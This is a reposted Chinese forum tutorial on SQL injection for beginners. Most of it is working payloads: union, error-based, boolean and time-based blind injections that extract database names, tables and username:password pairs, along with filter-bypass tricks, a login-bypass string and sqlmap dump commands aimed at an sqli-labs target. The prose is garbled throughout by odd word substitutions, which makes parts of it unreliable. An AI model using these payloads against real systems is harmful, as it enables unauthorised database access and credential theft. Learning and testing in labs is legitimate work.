星球的眼睛 发表于 2024-10-15 21:50:30

【2024最新版】学习SQL注入漏洞原理以及使用方法-入门小白必看

很多人都想学习网安,最紧张的漏洞原理是一定要学习的,这一篇我给各人看的是SQL注入漏洞的原理,假如有讲错的或者不对的地方请师傅们指出~

SQL注入原理

1.SQL注入概念及产生原因:

当web应用向背景数据库通报SQL语句进行数据库操纵时,假如对用户输入的参数没有颠末严酷的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
2.SQL注入的本质:

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:

1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站背景认证 背景登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。
MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站设置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操纵系统版本
SQL(团结)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //效果和第一个一样说明必要闭合,反之无闭合 有闭合则必要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不体现当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名
union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata) 5、获取表名
union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名' 6、获取字段名
union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名' 7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:
查 库: select schema\_name from information\_schema.schema
查 表: select table\_name from information\_schema.tables where table\_schema=库名
查 列: select column\_name from information\_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名 总结--普通SQL注入必备条件:
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够体现数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;
SQL注入思绪

1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
sql注入点范例


[*]get注入
在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
[*]post注入
通过post传参,原理与get一样,紧张的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
[*]有些网站通过查询cookie判断用户是否登录,必要与数据库进行交互,我们可以修改cookie的值,查找我们所必要的东西。或者通过报错注入是网页返回报错信息。
[*]Referer注入
Referer精确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。
[*]XFF注入
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时间,假如存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
burpsuite 抓包,提交输入检测语句:
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2# 两次提交返回不一样,存在 SQL 注入漏洞
6. UA注入
输入点在User-Agent
2.判断数据库范例

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
在实际测试过程中尝试进行SQL注入第一步就是判断数据库范例,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断
端口扫描

假如可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库范例。
Oracle
默认端标语:1521
SQL Server
默认端标语:1433
MySQL
默认端标语:3306
PostgreSql
默认端标语:5432
网站范例与数据库的联系

asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
根据注释符判断

“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(留意mysql使用-- 时必要后面添加空格)
“null”和“%00”是Access支持的注释。
“--”是Oracle和MSSQL支持的注释符,假如返回正常,则说明为这两种数据库范例之一。
“;”是子句查询标识符,Oracle不支持多行查询,因此假如返回错误,则说明很可能是Oracle数据库。
根据数据库特有表进行判断

1、mssql数据库
http://127.0.0.1/test.php?id=1 and (select count(\*) from sysobjects)>0 and 1=1 2、access数据库
http://127.0.0.1/test.php?id=1 and (select count(\*) from msysobjects)>0 and 1=1 3、mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count(\*) from information\_schema.TABLES)>0 and 1=1 4、oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(\*) from sys.user\_tables)>0 and 1=1 根据其返回的错误范例

ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x
3.判断参数数据范例

通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and '1'='1等等判断参数数据范例。先判断是否是整型,假如不是整型则为字符型,字符型存在多种情况,必要使用单引号【'】、双引号【"】、括号【()】多种组合方式进行试探。
类似判断闭合方式
id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)
【原因:and 1=1或者and 1=2 写入了sql语句并且执行乐成 因为1=2是错误所以id=1 and 1=2回显是错误的】
id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型接下来判断闭合方式)
id=1' and '1'='1回显精确id=1' and '1'='2回显错误(判断为【'】闭合)
id=1" and "1"="1 回显正常 id=1" and "1"="2回显错误(判断为【"】闭合)
【原因同上】
判断为闭合方式为【'】型
以上注入不乐成的时间尝试
1%df’ 此为宽字节注入
参数范例一般有数值型,字符型
数值型

前台页面输入的参数是「数字」。
比如下面这个根据ID查询用户的功能。
背景对应的SQL如下,字段范例是数值型,这种就是数值型注入。
select * from user where id = 1;
写入and1=1 与and1=2回显不雷同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型
字符型

前台页面输入的参数是「字符串」。
比如下面这个登录功能,输入的用户名和密码是字符串。
背景对应的SQL如下,字段范例是字符型,这种就是字符型注入。
select * from user
where username = 'zhangsan' and password = '123abc';
字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的「引号」差别,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入。
1)单引号字符型注入
参数使用「单引号」包裹时,叫做单引号字符型注入,比如下面这个SQL,就是单引号字符型注入。
select * from user where username = 'zhangsan';
2)双引号字符型注入
参数使用「双引号」包裹时,叫做双引号字符型注入,比如下面这个SQL,就是双引号字符型注入。
select * from user where username = "zhangsan";
3)带有括号的注入
理论上来说,只有数值型和字符型两种注入范例。
SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入范例存在一些变种。
a. 数值型+括号的注入
使用括号包裹数值型参数,比如下面这种SQL。
select \* from user where id = (1);
select \* from user where id = ((1)); 包裹多个括号……
b. 单引号字符串+括号的注入
使用括号和单引号包裹参数,比如下面这种SQL。
select \* from user where username = ('zhangsan');
select \* from user where username = (('zhangsan')); 包裹多个括号……
c. 双引号字符串+括号的注入
使用括号和双引号包裹参数,比如下面这种SQL
select \* from user where username = ("zhangsan");
select \* from user where username = (("zhangsan"));
包裹多个括号…… 4.判断数据库语句过滤情况

正常输入sql语句假如通过查看回显来判断语句是否被过滤
判断列数
假如order by被过滤则尝试绕过,假如无法绕过就无法得到列数,这时就无法使用团结查询注入。
判断体现位
假如页面没有体现位,同样无法使用团结查询注入。
报错信息
假如没有报错信息返回,则无法使用报错注入。
5.绕过 过滤

正常进行sql注入,通过回显来判断数据是否被过滤
1、过滤关键字

过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。
绕过方法:
(1)最常用的绕过方法就是用**//,<>,分割关键字
sel<>ect
sel/**/ect (2)根据过滤水平,偶然候还可以用双写绕过
selselectect (3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
(4)偶然候还可以使用编码绕过
url编码绕过
16进制编码绕过
ASCII编码绕过 2、过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。
绕过方法:
(1)简朴注入可以使用join方法绕过
原语句:
union select 1,2,3 join语句:
union select * from (select 1)a join (select 2)b join (select 3) (2)对于盲注的那几个函数substr(),mid(),limit
substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始 3、过滤空格

空格被过滤有以下几种方法绕过:
(1)双空格
(2)/**/
(3)用括号绕过
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a 4、过滤等号

假如等号被过滤了我们可以用 like 代替
使用like 、rlike 、regexp 或者 使用< 或者 >
5、过滤大于小于号

盲注中我们常常必要用到比力符,假如他们被过滤了,我们可以用以下几种方法绕过:

1)greatest(n1,n2,n3,...)                //返回其中的最大值
(2)strcmp(str1,str2)                //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between   and                //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。 6.等价函数绕过

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者: substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1 6.根据注入情况使用注入方式

使用id=1进行尝试尝试 继承使用order by 查询体现位 union select 1,2,3 查询无体现,即无法得到体现位或无法得到列数时放弃使用团结查询
尝试使用报错语句?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+等没有报错信息体现时放弃使用报错注入
尝试使用布尔盲注和时间盲注(发起使用工具进行注入)
团结查询注入

前提:知道列数且页面上有体现位。
判断体现位、获取全部数据库名、获取指定命据库全部表名、获取指定命据库指定表中全部字段名、获取具体数据。
列数
select id,username,password from security.users where id=1 order by 1; 体现位
select id,username,password from security.users where id=1 union select 1,2,3; 数据库名
关于将id值设置为0或者负数的表明

由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询会默认返回一行数据,所以我们插入的第二行语句的效果就不会被返回,只会返回原有的SQL语句的查询内容。
要让数据库查询我们插入的语句,必要让原有SQL语句产生查询错误,留意:查询错误不是语法错误,查询错误只会返回空,不会让语句报错。
所以我们可以使id=0或id=-1,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询效果为空,我们插入的SQL语句的效果就会被返回。
团结查询时union select无法执行时 用union+select代替 接下来的查询语句空格全部用【+】代替
?id=-1' union select 1,2,database() --+ 或全部数据库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 指定命据库中表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 或
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 指定数据库中指定表中所有字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ 具体数据
?id=-1' union select 1,2,group_concat(username,password) from users --+ 报错注入

前提:页面会体现数据库报错信息。
得到报错信息、获取全部数据库名、获取指定命据库全部表名、获取指定命据库指定表中全部字段名、获取具体数据。
数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ 或
?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 或全部数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+ 由于无法像团结查询一样一次性看到全部数据库名称,就必要使用limit参数逐个查询
?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+ 指定命据库中表名
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 指定数据库中指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+ 具体数据
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+ 或使用limit挨个遍历
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ 布尔盲注

情况:没有体现位、没有报错信息,但是有SQL语句执行错误信息输出的场景,仅仅通过报错这一行为去判断SQL注入语句是否执行乐成。
数据库长度
?id=1' and (length(database()))>7 --+       
?id=1' and (length(database()))>8 --+ 数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+或?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 或全部数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+ 由于无法像团结查询一样一次性看到全部数据库名称,就必要使用limit参数逐个查询
?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+ 指定命据库中表名
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 指定命据库中指定表中全部字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+ 具体数据
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+ 或使用limit挨个遍历
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
时间盲注

前提:页面上没有体现位,也没有输出SQL语句执行错误信息。 精确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
缺点:因为是通过sleep()函数影响的相应时间来判断语句是否执行,所以比布尔盲注更慢,真实情况下时间盲注一个注入点必要跑大概五六个小时。
猜解数据库
数据库个数
?id=1 and if((select count(schema_name) from information_schema.schemata)=9,sleep(5),1) 第一个数据库名有多少个字符
?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1) 判断第一个库第一个字符
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),2,1)))=110,sleep(5),1)//判断第一个库第二个字符 当前数据库
当前数据库长度
?id=1'+and+if((length(database()))=7,sleep(5),1) --+
?id=1'+and+if((length(database()))=8,sleep(5),1) --+ 当前数据库名
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ 猜解表名
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108,sleep(5),1) --+ URL编码后:
?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20t
able_schema=database()%20limit%200,1),1,1)))=108,sleep(5),1)%20--+ 猜解字段名
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1)))=102,sleep(5),1) --+ URL编码后:
?id=1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20
where%20table_name=%27users%27%20limit%201,1),1,1)))=102,sleep(5),1)%20--+ 猜解具体数据
?id=1' and if((ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=102,sleep(5),1) --+ URL编码后:
?id=1%27%20and%20if((ascii(substr((select%20password%20from%20users%20limit%200,1),1,1)))=102,
sleep(5),1)%20--+ 7.使用工具进行注入

1.sqlmap

基础探测命令
团结查询注入:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=U -v 3 报错注入:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=E -v 3 布尔盲注:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=B -v 3 时间盲注:
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3 爆破数据
--current-db 当前使用的数据库
--dbs 列出数据库信息
-D 指定命据库,爆破指定命据库中的表
-D 数据库名 --tables
-T 指定命据表名,爆破指定表中的字段
-D 库名 -T 表名 --columns
-C 指定字段名,爆破具体数据
--dump 将数据导出、转储
指定库、表、字段,查询具体数据
.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3 -D security -T users -C username,password --dump

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 【2024最新版】学习SQL注入漏洞原理以及使用方法-入门小白必看